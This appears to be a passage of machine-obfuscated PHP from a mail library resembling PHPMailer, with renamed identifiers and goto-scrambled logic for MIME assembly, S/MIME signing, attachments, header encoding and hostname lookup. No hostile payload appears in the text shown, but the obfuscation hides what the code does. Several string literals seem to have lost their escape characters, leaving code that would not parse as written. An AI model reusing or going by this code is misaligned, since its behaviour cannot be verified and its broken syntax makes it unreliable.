O5347: $O5285 .= static::$O1517; goto O3311; O0770: $O5285 .= $this->o7916($this->O1892, $O8522); goto O0498; O0015: goto O1484; goto O0350; O6590: $O5285 .= $this->O7916($this->O4893, $this->O8046); goto O0537; O0350: case "alt_inline": goto O7873; O7873: $O5285 .= $O9813; goto O4308; O7675: $O5285 .= $this->O4593($this->O1933[2], $O0964, static::O3427, $O8522); goto O4036; O3024: $O5285 .= $this->O3258("--" . $this->O1933[1]); goto O9072; O8793: $O5285 .= $this->O5521($this->O1933[1]); goto O6080; O9072: $O5285 .= $this->o3698("Content-Type", static::O4400 . ";"); goto O9982; O0428: $O5285 .= static::$O1517; goto O7675; O8186: $O5285 .= static::$O1517; goto O3024; O2338: $O5285 .= $this->o7408("inline", $this->O1933[2]); goto O2977; O4308: $O5285 .= $this->o4593($this->O1933[1], $O8475, static::O0673, $O3218); goto O8431; O9982: $O5285 .= $this->o3258(" boundary="" . $this->O1933[2] . "";"); goto O1184; O2977: $O5285 .= static::$O1517; goto O8793; O8431: $O5285 .= $this->o7916($this->O1077, $O3218); goto O8186; O4036: $O5285 .= $this->o7916($this->O1892, $O8522); goto O7157; O7157: $O5285 .= static::$O1517; goto O2338; O6080: goto O1484; goto O7205; O1184: $O5285 .= $this->o3258(" type="" . static::O3427 . """); goto O0428; O7205: case "alt_attach": goto O0748; O2508: $O5285 .= static::$O1517; goto O8261; O3377: goto O1484; goto O3851; O8953: $O5285 .= $this->O7916($this->O1077, $O3218); goto O8066; O5535: $O5285 .= $this->o7408("attachment", $this->O1933[1]); goto O3377; O5093: $O5285 .= static::$O1517; goto O5535; O2531: if (empty($this->O4893)) { goto O7652; } goto O6412; O4898: $O5285 .= $this->O7916($this->O4893, $this->O8046); goto O2746; O1593: $O5285 .= $this->o3258("--" . $this->O1933[1]); goto O1651; O7993: $O5285 .= $this->o7916($this->O1892, $O8522); goto O0043; O8261: $O5285 .= $this->o4593($this->O1933[2], $O8475, static::O0673, $O3218); goto O8953; O6412: $O5285 .= $this->o4593($this->O1933[2], '', static::O2967 . "; method=REQUEST", ''); goto O4898; O0043: $O5285 .= static::$O1517; goto O2531; O2746: O7652: goto O4841; O4841: $O5285 .= $this->O5521($this->O1933[2]); goto O5093; O0748: $O5285 .= $O9813; goto O1593; O8066: $O5285 .= static::$O1517; goto O2706; O1651: $O5285 .= $this->O3698("Content-Type", static::O5743 . ";"); goto O6546; O2706: $O5285 .= $this->O4593($this->O1933[2], $O0964, static::O3427, $O8522); goto O7993; O6546: $O5285 .= $this->o3258(" boundary="" . $this->O1933[2] . """); goto O2508; O3851: case "alt_inline_attach": goto O0904; O0807: $O5285 .= $this->O7408("attachment", $this->O1933[1]); goto O4587; O8188: $O5285 .= static::$O1517; goto O6767; O6726: $O5285 .= $this->o3258("--" . $this->O1933[2]); goto O3751; O8966: $O5285 .= static::$O1517; goto O6726; O3223: $O5285 .= static::$O1517; goto O6714; O0720: $O5285 .= $this->O3258(" boundary="" . $this->O1933[3] . "";"); goto O9270; O0904: $O5285 .= $O9813; goto O8813; O6714: $O5285 .= $this->o5521($this->O1933[2]); goto O3514; O2208: $O5285 .= static::$O1517; goto O0470; O0098: $O5285 .= $this->O3258(" boundary="" . $this->O1933[2] . """); goto O2208; O9270: $O5285 .= $this->o3258(" type="" . static::O3427 . """); goto O3035; O3035: $O5285 .= static::$O1517; goto O4805; O4805: $O5285 .= $this->o4593($this->O1933[3], $O0964, static::O3427, $O8522); goto O0107; O6767: $O5285 .= $this->o7408("inline", $this->O1933[3]); goto O3223; O8813: $O5285 .= $this->O3258("--" . $this->O1933[1]); goto O1391; O5563: $O5285 .= $this->O7916($this->O1077, $O3218); goto O8966; O4587: goto O1484; goto O1562; O1391: $O5285 .= $this->O3698("Content-Type", static::O5743 . ";"); goto O0098; O3514: $O5285 .= static::$O1517; goto O0807; O0470: $O5285 .= $this->O4593($this->O1933[2], $O8475, static::O0673, $O3218); goto O5563; O0107: $O5285 .= $this->o7916($this->O1892, $O8522); goto O8188; O3751: $O5285 .= $this->O3698("Content-Type", static::O4400 . ";"); goto O0720; O1562: default: goto O4054; O5202: goto O1484; goto O5047; O4054: $this->O8046 = $O8522; goto O0989; O0989: $O5285 .= $this->O7916($this->O1892, $this->O8046); goto O5202; O5047: } goto O7095; O5478: if ($this->O8187) { goto O9504; } goto O0315; O8191: O1484: goto O5145; O0575: $O8522 = static::O2669; goto O2108; O5837: O2357: goto O8800; O6701: $this->O1933[3] = "b3_" . $this->O8758; goto O6814; O5750: $O0964 = $this->O0610; goto O0077; O3231: try { goto O2848; O7085: if ($O6052) { goto O8682; } goto O7859; O6377: throw new Exception($this->O0266("extension_missing") . "openssl"); goto O2999; O2424: $O2298 = fopen("php://temp", "rb+"); goto O1510; O9325: throw new Exception($this->o0266("signing") . openssl_error_string()); goto O9798; O2999: O7323: goto O2250; O5513: if (empty($this->O9194)) { goto O8668; } goto O9011; O1527: O8668: goto O4428; O7033: goto O3593; goto O1527; O4275: O3593: goto O3277; O7859: fclose($O2298); goto O9325; O2250: $O6247 = fopen("php://temp", "rb+"); goto O2424; O1510: fwrite($O6247, $O5285); goto O5513; O4505: O2025: goto O2439; O1923: $O5285 = file_get_contents($O2298); goto O4242; O2848: if (defined("PKCS7_TEXT")) { goto O7323; } goto O6377; O9798: goto O2025; goto O4112; O9011: $O6052 = @openssl_pkcs7_sign($O6247, $O2298, "file://" . realpath($this->O6015), ["file://" . realpath($this->O8187), $this->O3614], [], PKCS7_DETACHED, $this->O9194); goto O7033; O5714: $O5285 = $O4285[1]; goto O4505; O3277: fclose($O6247); goto O7085; O4428: $O6052 = @openssl_pkcs7_sign($O6247, $O2298, "file://" . realpath($this->O6015), ["file://" . realpath($this->O8187), $this->O3614], []); goto O4275; O4242: fclose($O2298); goto O9755; O9755: $O4285 = explode("

", $O5285, 2); goto O8829; O8829: $this->O0199 .= $O4285[0] . static::$O1517 . static::$O1517; goto O5714; O4112: O8682: goto O1923; O2439: } catch (Exception $O0127) { goto O7904; O7050: if (!$this->O0454) { goto O9324; } goto O1733; O7904: $O5285 = ''; goto O7050; O4341: O9324: goto O7123; O1733: throw $O0127; goto O4341; O7123: } goto O5837; O0143: $this->o9734(); goto O5745; O8961: O1457: goto O9514; O9917: $O8475 = "us-ascii"; goto O6278; O7715: throw new Exception($this->O0266("empty_message"), self::O3720); goto O3155; O5688: $this->O8758 = $this->o9656(); goto O0598; O7254: $O3218 = static::O2669; goto O9917; O5145: if ($this->o7152()) { goto O1457; } goto O5478; O7095: O2519: goto O8191; O0077: if (!(static::O1466 == $O8522 and !$this->o1181($this->O1892))) { goto O0101; } goto O0575; O8623: $O9813 = "This is a multi-part message in MIME format." . static::$O1517; goto O8917; O5745: $O8522 = $this->O8046; goto O5750; O9514: $O5285 = ''; goto O4384; O1005: } protected function O4593($O0308, $O9128, $O8163, $O6554) { goto O8444; O0838: if (!('' == $O6554)) { goto O4604; } goto O5491; O1180: if (!(static::O2669 != $O6554)) { goto O8114; } goto O7251; O1903: if (!('' == $O8163)) { goto O0603; } goto O7800; O5803: $O0515 .= static::$O1517; goto O1180; O6722: $O0515 .= sprintf("Content-Type: %s; charset=%s", $O8163, $O9128); goto O5803; O2308: $O0515 .= $this->O3258("--" . $O0308); goto O6722; O8444: $O0515 = ''; goto O9896; O7118: O4604: goto O2308; O0935: O1279: goto O1903; O9896: if (!('' == $O9128)) { goto O1279; } goto O6036; O5902: O0603: goto O0838; O1546: $O0515 .= static::$O1517; goto O2522; O2522: return $O0515; goto O9528; O7429: O8114: goto O1546; O6036: $O9128 = $this->O0610; goto O0935; O5491: $O6554 = $this->O8046; goto O7118; O7251: $O0515 .= $this->o3698("Content-Transfer-Encoding", $O6554); goto O7429; O7800: $O8163 = $this->O5234; goto O5902; O9528: } protected function o5521($O0308) { return static::$O1517 . "--" . $O0308 . "--" . static::$O1517; } protected function o3271() { goto O1581; O8289: O1413: goto O8765; O0601: if (!$this->O9124()) { goto O1413; } goto O4023; O8090: O7983: goto O0165; O4886: O4210: goto O5986; O8765: if (!$this->O9926()) { goto O4210; } goto O4905; O6070: O2707: goto O0601; O1581: $O9999 = []; goto O3194; O6432: $O9999[] = "alt"; goto O6070; O4023: $O9999[] = "inline"; goto O8289; O4905: $O9999[] = "attach"; goto O4886; O3194: if (!$this->O2585()) { goto O2707; } goto O6432; O5986: $this->O4974 = implode("_", $O9999); goto O6716; O5001: $this->O4974 = "plain"; goto O8090; O6716: if (!('' == $this->O4974)) { goto O7983; } goto O5001; O0165: } public function o3698($O3333, $O1459) { return $O3333 . ": " . $O1459 . static::$O1517; } public function O3258($O1459) { return $O1459 . static::$O1517; } public function O2011($O4935, $O3333 = '', $O6554 = self::O8717, $O9999 = '', $O8639 = "attachment") { try { goto O0309; O6218: if (!('' == $O3333)) { goto O8529; } goto O3164; O3164: $O3333 = $O6127; goto O4067; O4607: throw new Exception($this->o0266("encoding") . $O6554); goto O3776; O0309: if (!(!static::o9648($O4935) || !@is_file($O4935))) { goto O4710; } goto O9187; O5266: if (!('' == $O9999)) { goto O1945; } goto O7010; O8377: $this->O0839[] = [0 => $O4935, 1 => $O6127, 2 => $O3333, 3 => $O6554, 4 => $O9999, 5 => false, 6 => $O8639, 7 => $O3333]; goto O9590; O0197: $O6127 = static::o2030($O4935, PATHINFO_BASENAME); goto O6218; O8517: if ($this->O0475($O6554)) { goto O0073; } goto O4607; O3776: O0073: goto O8377; O4549: O1945: goto O0197; O4067: O8529: goto O8517; O9187: throw new Exception($this->O0266("file_access") . $O4935, self::O3420); goto O7411; O7010: $O9999 = static::o6672($O4935); goto O4549; O7411: O4710: goto O5266; O9590: } catch (Exception $O0127) { goto O1235; O6969: O6293: goto O8044; O8044: return false; goto O2538; O4860: $this->o5093($O0127->getMessage()); goto O6281; O6281: if (!$this->O0454) { goto O6293; } goto O5237; O5237: throw $O0127; goto O6969; O1235: $this->O8188($O0127->getMessage()); goto O4860; O2538: } return true; } public function O2245() { return $this->O0839; } protected function o7408($O4908, $O0308) { goto O9236; O0667: foreach ($this->O0839 as $O0209) { goto O1407; O1236: O8624: goto O2409; O6236: if (!("inline" == $O8639 and array_key_exists($O0305, $O6286))) { goto O1052; } goto O2193; O2636: if (!empty($O2345)) { goto O2925; } goto O6371; O9259: $O8435[] = static::$O1517; goto O1211; O1791: O4728: goto O7847; O5224: goto O0328; goto O9357; O4811: return ''; goto O7994; O4312: $O9999 = $O0209[4]; goto O2891; O2234: O6505: goto O6171; O2193: goto O8624; goto O9907; O8483: $O1644 = $O0209[5]; goto O7371; O9166: $O8435[] = static::$O1517; goto O7206; O7994: O0796: goto O9259; O2279: $O6554 = $O0209[3]; goto O4312; O6235: O7039: goto O0907; O0907: $O3741 = hash("sha256", serialize($O0209)); goto O5868; O7410: O7582: goto O9204; O1877: goto O6505; goto O9670; O1211: O2863: goto O1236; O7371: if ($O1644) { goto O9149; } goto O1544; O3059: $O8435[] = sprintf("Content-Disposition: %s; filename="%s"%s", $O8639, $O2345, static::$O1517 . static::$O1517); goto O1791; O1407: if (!($O0209[6] == $O4908)) { goto O2863; } goto O4642; O2324: if ($O1644) { goto O4366; } goto O9210; O2297: O8742: goto O3059; O9357: O4017: goto O3073; O2306: $O8435[] = sprintf("Content-Transfer-Encoding: %s%s", $O6554, static::$O1517); goto O0334; O9518: O5749: goto O3754; O0334: O1594: goto O5566; O8301: O9149: goto O3582; O1480: O6193: goto O9830; O6902: $O2878[] = $O3741; goto O4425; O0916: if (!empty($O3333)) { goto O4017; } goto O7465; O5566: if (empty($O0305)) { goto O5749; } goto O5036; O5311: $O8435[] = sprintf("Content-Disposition: %s; filename=%s%s", $O8639, $O2345, static::$O1517 . static::$O1517); goto O2234; O9560: O0328: goto O7532; O4425: $O3333 = $O0209[2]; goto O2279; O3754: if (!empty($O8639)) { goto O6193; } goto O9166; O9907: O1052: goto O8160; O6498: goto O8624; goto O6806; O6171: goto O4728; goto O2297; O9210: $O8435[] = $this->o5165($O4935, $O6554); goto O8784; O2749: $O8435[] = sprintf("--%s%s", $O0308, static::$O1517); goto O0916; O7532: if (!(static::O2669 != $O6554)) { goto O1594; } goto O2306; O7465: $O8435[] = sprintf("Content-Type: %s%s", $O9999, static::$O1517); goto O5224; O1773: if (preg_match("/[ \(\)<>@,;:\"\/\[\]\?=]/", $O2345)) { goto O8742; } goto O2636; O3582: $O5086 = $O0209[0]; goto O6235; O5036: $O8435[] = sprintf("Content-ID: <%s>%s", $this->o1008($this->o3957($O0305)), static::$O1517); goto O9518; O8160: $O6286[$O0305] = true; goto O2749; O7847: O7368: goto O2324; O6806: O4577: goto O6902; O7206: goto O7368; goto O1480; O9670: O2925: goto O5311; O9519: $O4935 = ''; goto O8483; O5610: $O0305 = $O0209[7]; goto O6236; O3073: $O8435[] = sprintf("Content-Type: %s; name="%s"%s", $O9999, $this->O1008($this->O3957($O3333)), static::$O1517); goto O9560; O9204: if (!$this->O7152()) { goto O0796; } goto O4811; O8784: goto O7582; goto O4150; O1544: $O4935 = $O0209[0]; goto O6627; O4642: $O5086 = ''; goto O9519; O6627: goto O7039; goto O8301; O5868: if (!in_array($O3741, $O2878)) { goto O4577; } goto O6498; O9830: $O2345 = $this->O1008($this->o3957($O3333)); goto O1773; O2891: $O8639 = $O0209[6]; goto O5610; O6371: $O8435[] = sprintf("Content-Disposition: %s%s", $O8639, static::$O1517 . static::$O1517); goto O1877; O4150: O4366: goto O3526; O3526: $O8435[] = $this->O7916($O5086, $O6554); goto O7410; O2409: } goto O6443; O6443: O5999: goto O9143; O1447: $O2878 = []; goto O0667; O2091: $O6286 = []; goto O1447; O9143: $O8435[] = sprintf("--%s--%s", $O0308, static::$O1517); goto O6632; O6632: return implode('', $O8435); goto O3064; O9236: $O8435 = []; goto O2091; O3064: } protected function O5165($O4935, $O6554 = self::O8717) { try { goto O4045; O3167: O1037: goto O7791; O4313: $O7884 = $this->o7916($O7884, $O6554); goto O9092; O7791: $O7884 = file_get_contents($O4935); goto O3032; O7853: throw new Exception($this->O0266("file_open") . $O4935, self::O3420); goto O3167; O2209: O2687: goto O4313; O4045: if (!(!static::o9648($O4935) || !file_exists($O4935))) { goto O1037; } goto O7853; O2296: throw new Exception($this->o0266("file_open") . $O4935, self::O3420); goto O2209; O9092: return $O7884; goto O9986; O3032: if (!(false === $O7884)) { goto O2687; } goto O2296; O9986: } catch (Exception $O0127) { $this->O8188($O0127->getMessage()); return ''; } } public function o7916($O6471, $O6554 = self::O8717) { goto O0710; O2753: O3215: goto O7702; O3675: switch (strtolower($O6554)) { case static::O8717: $O3528 = chunk_split(base64_encode($O6471), static::O1812, static::$O1517); goto O3215; case static::O2669: case static::O1466: goto O8452; O8452: $O3528 = static::O8623($O6471); goto O4148; O4148: if (!(substr($O3528, -strlen(static::$O1517)) != static::$O1517)) { goto O1106; } goto O0397; O8329: O1106: goto O3876; O0397: $O3528 .= static::$O1517; goto O8329; O3876: goto O3215; goto O3320; O3320: case static::O3535: $O3528 = $O6471; goto O3215; case static::O3538: $O3528 = $this->o5141($O6471); goto O3215; default: goto O0127; O0732: goto O3215; goto O2465; O9443: if (!$this->O0454) { goto O8396; } goto O8036; O0127: $this->O8188($this->O0266("encoding") . $O6554); goto O9443; O3618: O8396: goto O0732; O8036: throw new Exception($this->o0266("encoding") . $O6554); goto O3618; O2465: } goto O2635; O7702: return $O3528; goto O9099; O0710: $O3528 = ''; goto O3675; O2635: O9600: goto O2753; O9099: } public function o1008($O6471, $O0593 = "text") { goto O5667; O8564: if ($this->o0643($O6471)) { goto O7244; } goto O1350; O4813: O9106: goto O6396; O0163: $O3528 = preg_replace("/^(.*)$/m", " =?" . $this->O0610 . "?{$O6554}?\1?=", $O3528); goto O8180; O2455: $O2587 = static::O1812 - $O5089 - 8 - strlen($this->O0610); goto O3327; O3033: $O3528 = trim(chunk_split($O3528, $O2587, "
")); goto O0652; O5600: O4361: goto O4348; O3355: if (strlen($O6471) > $O2587) { goto O1663; } goto O6188; O0652: goto O9447; goto O7189; O7022: $O3528 = str_replace("=" . static::$O1517, "
", trim($O3528)); goto O0163; O3327: $O3528 = $this->O6766($O6471, $O0593); goto O9281; O9304: goto O4361; goto O1367; O3135: O0878: goto O6271; O4348: return trim(static::o8623($O3528)); goto O5965; O6188: return $O6471; goto O5216; O1367: O3925: goto O6531; O5216: goto O4361; goto O4813; O0104: switch (strtolower($O0593)) { case "phrase": goto O1625; O0597: $O3528 = addcslashes($O6471, "\0..\37\177\""); goto O5122; O5500: return ""{$O3528}""; goto O9707; O6244: goto O0878; goto O0367; O9707: O1916: goto O3822; O5122: if (!($O6471 == $O3528 and !preg_match("/[^A-Za-z0-9!#$%&'*+\/=?^_`{|}~ -]/", $O6471))) { goto O9089; } goto O2885; O3822: $O9474 = preg_match_all("/[^\040\041\043-\133\135-\176]/", $O6471, $O1779); goto O6244; O2885: return $O3528; goto O3649; O3649: O9089: goto O5500; O1625: if (preg_match("/[\200-\377]/", $O6471)) { goto O1916; } goto O0597; O0367: case "comment": $O9474 = preg_match_all("/[()"]/", $O6471, $O1779); case "text": default: $O9474 += preg_match_all("/[\000-\010\013\014\016-\037\177-\377]/", $O6471, $O1779); goto O0878; } goto O2892; O5667: $O9474 = 0; goto O0104; O6271: $O5089 = "mail" == $this->O8348 ? 13 : 0; goto O9858; O6100: $O3528 = str_replace(static::$O1517, "\xa", trim($O3528)); goto O9101; O8180: goto O4361; goto O5115; O1350: $O3528 = base64_encode($O6471); goto O1182; O1400: $O2587 = static::O1812 - $O5089 - 8 - strlen($this->O0610); goto O8564; O2892: O7626: goto O3135; O3045: $O3528 = $this->o7607($O6471, "\xa"); goto O5738; O2550: if ($O9474 > strlen($O6471) / 3) { goto O9106; } goto O1376; O9101: $O3528 = preg_replace("/^(.*)$/m", " \1", $O3528); goto O5600; O8048: $O3528 = preg_replace("/^(.*)$/m", " =?" . $this->O0610 . "?{$O6554}?\1?=", $O3528); goto O9304; O6396: $O6554 = "B"; goto O1400; O0281: $O3528 = trim(chunk_split($O6471, static::O1812, static::$O1517)); goto O3009; O9850: $O3528 = trim($this->O2471($O6471, $O2587, false)); goto O8189; O1182: $O2587 -= $O2587 % 4; goto O3033; O7189: O7244: goto O3045; O8189: if (!($O6471 == $O3528)) { goto O7327; } goto O0281; O5738: O9447: goto O8048; O6531: $O6554 = "Q"; goto O2455; O1376: if ($O9474 > 0) { goto O3925; } goto O3355; O5115: O1663: goto O9850; O9281: $O3528 = $this->O2471($O3528, $O2587, true); goto O7022; O3009: O7327: goto O6100; O9858: $O2587 = static::O1812 - $O5089; goto O2550; O5965: } public function o0643($O6471) { goto O4072; O5452: return strlen($O6471) > mb_strlen($O6471, $this->O0610); goto O3867; O8762: return false; goto O6624; O4072: if (!function_exists("mb_strlen")) { goto O8397; } goto O5452; O3867: O8397: goto O8762; O6624: } public function O1181($O2685) { return (bool) preg_match("/[\x80-\xFF]/", $O2685); } public function O7607($O6471, $O6041 = null) { goto O4852; O8352: O7952: goto O7714; O0560: ++$O3192; goto O7111; O9277: O3793: goto O2392; O7735: $O4503 = base64_encode($O4503); goto O0560; O0330: $O3192 = 0; goto O0538; O0615: $O4188 = 75 - strlen($O8525) - strlen($O0310); goto O6604; O4646: if (!(null === $O6041)) { goto O3419; } goto O0827; O7714: $O3528 .= $O4503 . $O6041; goto O6154; O5518: if (!($O8411 < $O8580)) { goto O3793; } goto O0330; O9097: $O8411 += $O3772; goto O9186; O2502: $O3528 = ''; goto O4646; O3449: $O0310 = "?="; goto O2502; O9186: goto O9120; goto O9277; O0538: O6685: goto O6153; O1832: O9120: goto O5518; O2392: return substr($O3528, 0, -strlen($O6041)); goto O4538; O6154: O8601: goto O9097; O6153: $O3772 = $O1189 - $O3192; goto O0238; O0238: $O4503 = mb_substr($O6471, $O8411, $O3772, $this->O0610); goto O7735; O7536: O3419: goto O9464; O7111: if (strlen($O4503) > $O4188) { goto O6685; } goto O8352; O9464: $O8580 = mb_strlen($O6471, $this->O0610); goto O0615; O0827: $O6041 = static::$O1517; goto O7536; O6604: $O7003 = $O8580 / strlen($O6471); goto O8306; O1399: $O8411 = 0; goto O1832; O8306: $O1189 = floor($O4188 * $O7003 * 0.75); goto O1399; O4852: $O8525 = "=?" . $this->O0610 . "?B?"; goto O3449; O4538: } public function o5141($O5086) { return static::o8623(quoted_printable_encode($O5086)); } public function O6766($O6471, $O0593 = "text") { goto O0039; O0039: $O3504 = ''; goto O6163; O1068: O8852: goto O5280; O6077: foreach (array_unique($O1779[0]) as $O4467) { $O3528 = str_replace($O4467, "=" . sprintf("%02X", ord($O4467)), $O3528); O4946: } goto O6786; O2311: return str_replace(" ", "_", $O3528); goto O4536; O0623: O1240: goto O1068; O9961: array_unshift($O1779[0], "="); goto O5364; O6163: $O3528 = str_replace(["
", "\xa"], '', $O6471); goto O5252; O5280: $O1779 = []; goto O1519; O6786: O6889: goto O1402; O0895: unset($O1779[0][$O9819]); goto O9961; O1519: if (!preg_match_all("/[{$O3504}]/", $O3528, $O1779)) { goto O5766; } goto O2185; O2185: $O9819 = array_search("=", $O1779[0]); goto O5776; O5252: switch (strtolower($O0593)) { case "phrase": $O3504 = "^A-Za-z0-9!*+\/ -"; goto O8852; case "comment": $O3504 = "\(\)""; case "text": default: $O3504 = "\000-\011\013\014\016-\037\075\077\137\177-\377" . $O3504; goto O8852; } goto O0623; O5364: O4298: goto O6077; O5776: if (!(false !== $O9819)) { goto O4298; } goto O0895; O1402: O5766: goto O2311; O4536: } public function O1455($O5086, $O6127, $O6554 = self::O8717, $O9999 = '', $O8639 = "attachment") { try { goto O5242; O7114: O6456: goto O3752; O0223: $this->O0839[] = [0 => $O5086, 1 => $O6127, 2 => static::o2030($O6127, PATHINFO_BASENAME), 3 => $O6554, 4 => $O9999, 5 => true, 6 => $O8639, 7 => 0]; goto O7104; O0457: $O9999 = static::O6672($O6127); goto O7114; O9940: throw new Exception($this->o0266("encoding") . $O6554); goto O5109; O5109: O9756: goto O0223; O5242: if (!('' == $O9999)) { goto O6456; } goto O0457; O3752: if ($this->O0475($O6554)) { goto O9756; } goto O9940; O7104: } catch (Exception $O0127) { goto O2112; O6383: throw $O0127; goto O9174; O0891: return false; goto O7688; O5194: if (!$this->O0454) { goto O8015; } goto O6383; O9174: O8015: goto O0891; O2112: $this->O8188($O0127->getMessage()); goto O7148; O7148: $this->O5093($O0127->getMessage()); goto O5194; O7688: } return true; } public function o3695($O4935, $O0305, $O3333 = '', $O6554 = self::O8717, $O9999 = '', $O8639 = "inline") { try { goto O7342; O8708: $O6127 = static::O2030($O4935, PATHINFO_BASENAME); goto O2051; O4354: $O9999 = static::o6672($O4935); goto O9493; O4307: throw new Exception($this->O0266("encoding") . $O6554); goto O5823; O9833: if (!('' == $O9999)) { goto O4219; } goto O4354; O4753: $O3333 = $O6127; goto O4108; O5259: O2813: goto O9833; O1657: throw new Exception($this->O0266("file_access") . $O4935, self::O3420); goto O5259; O3629: $this->O0839[] = [0 => $O4935, 1 => $O6127, 2 => $O3333, 3 => $O6554, 4 => $O9999, 5 => false, 6 => $O8639, 7 => $O0305]; goto O9230; O5823: O8869: goto O8708; O7342: if (!(!static::O9648($O4935) || !@is_file($O4935))) { goto O2813; } goto O1657; O2051: if (!('' == $O3333)) { goto O5809; } goto O4753; O4108: O5809: goto O3629; O2581: if ($this->O0475($O6554)) { goto O8869; } goto O4307; O9493: O4219: goto O2581; O9230: } catch (Exception $O0127) { goto O4403; O1935: return false; goto O2026; O3381: throw $O0127; goto O9182; O2045: $this->o5093($O0127->getMessage()); goto O8230; O4403: $this->o8188($O0127->getMessage()); goto O2045; O9182: O2468: goto O1935; O8230: if (!$this->O0454) { goto O2468; } goto O3381; O2026: } return true; } public function o9584($O5086, $O0305, $O3333 = '', $O6554 = self::O8717, $O9999 = '', $O8639 = "inline") { try { goto O6682; O6682: if (!('' == $O9999 and !empty($O3333))) { goto O7757; } goto O7029; O4975: O7757: goto O7624; O7029: $O9999 = static::o6672($O3333); goto O4975; O4715: throw new Exception($this->O0266("encoding") . $O6554); goto O3339; O3339: O6602: goto O9170; O9170: $this->O0839[] = [0 => $O5086, 1 => $O3333, 2 => $O3333, 3 => $O6554, 4 => $O9999, 5 => true, 6 => $O8639, 7 => $O0305]; goto O8376; O7624: if ($this->O0475($O6554)) { goto O6602; } goto O4715; O8376: } catch (Exception $O0127) { goto O9159; O4030: if (!$this->O0454) { goto O4048; } goto O7849; O7849: throw $O0127; goto O9762; O9515: $this->o5093($O0127->getMessage()); goto O4030; O9159: $this->O8188($O0127->getMessage()); goto O9515; O8032: return false; goto O1847; O9762: O4048: goto O8032; O1847: } return true; } protected function O0475($O6554) { return in_array($O6554, [self::O2669, self::O3538, self::O8717, self::O1466, self::O3535], true); } protected function o5156($O0305) { goto O0086; O0086: foreach ($this->O0839 as $O0209) { goto O5049; O6064: return true; goto O1252; O5049: if (!("inline" == $O0209[6] and $O0305 == $O0209[7])) { goto O1175; } goto O6064; O6860: O2902: goto O8071; O1252: O1175: goto O6860; O8071: } goto O0268; O0268: O4476: goto O0890; O0890: return false; goto O4997; O4997: } public function o9124() { goto O7064; O2560: O0985: goto O1970; O1970: return false; goto O3130; O7064: foreach ($this->O0839 as $O0209) { goto O4755; O4755: if (!("inline" == $O0209[6])) { goto O3942; } goto O2415; O2415: return true; goto O2260; O7824: O7106: goto O0463; O2260: O3942: goto O7824; O0463: } goto O2560; O3130: } public function O9926() { goto O1039; O0320: return false; goto O3160; O4292: O6583: goto O0320; O1039: foreach ($this->O0839 as $O0209) { goto O1331; O3552: return true; goto O6574; O4857: O5384: goto O1822; O1331: if (!("attachment" == $O0209[6])) { goto O4333; } goto O3552; O6574: O4333: goto O4857; O1822: } goto O4292; O3160: } public function O2585() { return !empty($this->O1077); } public function O1039($O1011) { $this->O6952 = array_filter($this->O6952, function ($O7684) use($O1011) { return $O7684[0] != $O1011; }); } public function O2786() { goto O7320; O4490: $this->O1431 = []; goto O4878; O4878: $this->o1039("to"); goto O3258; O7320: foreach ($this->O1431 as $O3617) { unset($this->O8684[strtolower($O3617[0])]); O4135: } goto O0220; O0220: O8593: goto O4490; O3258: } public function O5527() { goto O9043; O9739: O4706: goto O0629; O9043: foreach ($this->O0958 as $O8184) { unset($this->O8684[strtolower($O8184[0])]); O0821: } goto O9739; O0629: $this->O0958 = []; goto O4628; O4628: $this->O1039("cc"); goto O7777; O7777: } public function o0047() { goto O9963; O6437: O8446: goto O1340; O6715: $this->O1039("bcc"); goto O3611; O9963: foreach ($this->O3390 as $O2467) { unset($this->O8684[strtolower($O2467[0])]); O9134: } goto O6437; O1340: $this->O3390 = []; goto O6715; O3611: } public function O7105() { $this->O9879 = []; $this->O0286 = []; } public function o8783() { goto O4248; O9576: $this->O6952 = []; goto O6076; O3297: $this->O8684 = []; goto O9576; O3083: $this->O0958 = []; goto O4689; O4248: $this->O1431 = []; goto O3083; O4689: $this->O3390 = []; goto O3297; O6076: } public function o1338() { $this->O0839 = []; } public function o7747() { $this->O0111 = []; } protected function o8188($O6566) { goto O4273; O2202: if (!("smtp" == $this->O8348 and null !== $this->O0303)) { goto O6821; } goto O9426; O8541: O5634: goto O8720; O7767: $this->O3627 = $O6566; goto O1842; O1557: O7531: goto O7683; O3725: $O6566 .= " SMTP code: " . $O1982["smtp_code"]; goto O1557; O9426: $O1982 = $this->O0303->O8504(); goto O7494; O4643: $O6566 .= " Detail: " . $O1982["detail"]; goto O8541; O4273: ++$this->O5087; goto O2202; O7071: $O6566 .= $this->o0266("smtp_error") . $O1982["error"]; goto O3544; O7683: if (empty($O1982["smtp_code_ex"])) { goto O2020; } goto O1437; O6470: O1503: goto O0382; O0898: O2020: goto O6470; O3544: if (empty($O1982["detail"])) { goto O5634; } goto O4643; O7494: if (empty($O1982["error"])) { goto O1503; } goto O7071; O8720: if (empty($O1982["smtp_code"])) { goto O7531; } goto O3725; O1437: $O6566 .= " Additional SMTP info: " . $O1982["smtp_code_ex"]; goto O0898; O0382: O6821: goto O7767; O1842: } public static function o0766() { date_default_timezone_set(@date_default_timezone_get()); return date("D, j M Y H:i:s O"); } protected function O9929() { goto O1289; O7005: $O0515 = $this->O3004; goto O9879; O2022: O5898: goto O4216; O9695: $O0515 = gethostname(); goto O1492; O1241: goto O5898; goto O7698; O4472: if (isset($_SERVER) and array_key_exists("SERVER_NAME", $_SERVER)) { goto O7850; } goto O6302; O7607: $O0515 = $_SERVER["SERVER_NAME"]; goto O9782; O1324: return "localhost.localdomain"; goto O4535; O4216: if (static::o2097($O0515)) { goto O6569; } goto O1324; O2245: $O0515 = php_uname("n"); goto O2022; O6172: O0484: goto O2245; O6302: if (function_exists("gethostname") and gethostname() !== false) { goto O5644; } goto O9055; O2141: if (!empty($this->O3004)) { goto O2996; } goto O4472; O5756: O7850: goto O7607; O4535: O6569: goto O5309; O7698: O2996: goto O7005; O9879: goto O5898; goto O5756; O5309: return $O0515; goto O1319; O1289: $O0515 = ''; goto O2141; O8363: O5644: goto O9695; O9055: if (php_uname("n") !== false) { goto O0484; } goto O1241; O1492: goto O5898; goto O6172; O9782: goto O5898; goto O8363; O1319: } public static function o2097($O3954) { goto O3858; O7388: return (bool) filter_var(trim($O3954, "[]"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6); goto O1191; O0177: if (!filter_var("http://" . $O3954, FILTER_VALIDATE_URL)) { goto O6695; } goto O6272; O1191: O6897: goto O5357; O5357: if (!is_numeric(str_replace(".", '', $O3954))) { goto O0578; } goto O4124; O4124: return (bool) filter_var($O3954, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4); goto O0961; O4708: O6695: goto O4957; O2442: O7828: goto O0392; O0392: if (!(trim($O3954, "[]") 